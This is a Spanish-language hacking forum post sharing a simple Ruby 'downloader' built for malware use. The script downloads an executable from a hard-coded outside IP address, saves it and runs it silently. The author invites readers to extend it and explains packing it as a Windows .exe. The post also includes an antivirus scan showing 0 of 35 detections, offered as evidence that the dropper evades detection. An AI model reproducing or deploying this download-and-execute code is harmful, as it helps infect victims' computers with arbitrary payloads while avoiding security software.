Bueno aqui estuve haciendo un simple downloader para ruby , lo hice como prueba para saber como actuaría en un entorno "de malware" , es muy básico pero tampoco lo voy a dar todo masticado , esta es una base a la cual podeís añadir cosillas para que sea una gran tool.
Código :
require 'Win32API'
require 'open-uri'
=begin
----------------------------------
| Coded by Sanko |
| Simple Ruby Downloader |
----------------------------------
=end
archivo = 'sk.exe' #Nombre del archivo a descargar
url = 'http://199.91.152.95/cz989jnk55qg/67fcyfx9xsf31mz/sk.exe' #Url directa del archivo a descargar
archivo = open(archivo,"wb") #se abre se escribe se lee y se cierra , lo que viene siendo una descarga...
archivo.write(open(url).read)
archivo.close
aplicacion = Thread.start do #Hacemos que system ejecute el archivo descargado
system 'sk.exe'
end
Para poder ejecutarlo en un entorno windows sin necesidad de que este disponga de un "emulador" para el lenguaje podeís convertir vuestro script.rb en una aplicación .exe , aqui os dejo el tutorial que hace un rato hice :
http://underc0de.org/foro/ruby/script-rb-a-script-exe-con-ocra/msg39772/#newLo peor de todo es que al pasarlo a .exe con ocra el tamaño de este pequeño código como cualquier otro aumenta considerablemente.
Aun asi puede decirse que no hay mucha gente que use ruby en un entorno hacia el malware , pero tiene futuro :
[Info]Fecha del reporte:
Wed, 12 Sep 2012 22:49:23 +0000Archivo:
downloader.exeTamaño: 5099284 bytes
MD5: 49e985612dcf90085bb9a61093abddc8
Estado:
LimpioDetecciones: 0 de 35 (0%)
Reporte:
http://www.indetectables.net/scanner.php?report=2e48e3_29bbpc65Reporte generado por Indetectables.net[Detecciones]A-Squared -
CleanAVG Free -
CleanAd-Aware -
CleanAntiVir (Avira) -
CleanArcaVir -
CleanAvast 5 -
CleanBitDefender -
CleanBullGuard -
CleanCOMODO Internet Security -
CleanClam Antivirus -
CleanDr.Web -
CleanESET NOD32 -
CleanF-PROT Antivirus -
CleanF-Secure Internet Security -
CleanG Data -
CleanIKARUS Security -
CleanImmunet Antivirus -
CleanK7 Ultimate -
CleanKaspersky Antivirus -
CleanMS Security Essentials -
CleanMcAfee -
CleanNorman -
CleanNorton Antivirus -
CleanPanda Security -
CleanQuick Heal Antivirus -
CleanRising Antivirus -
CleanSolo Antivirus -
CleanSophos -
CleanTrend Micro Internet Security -
CleanVBA32 Antivirus -
CleanVIPRE -
CleanVexira Antivirus -
CleanVirusBuster Internet Security -
CleanZoner AntiVirus -
CleaneTrust-Vet -
CleanGracias Elsuc por escanearme el archivo.
Y aqui una muestra de como se comporta :
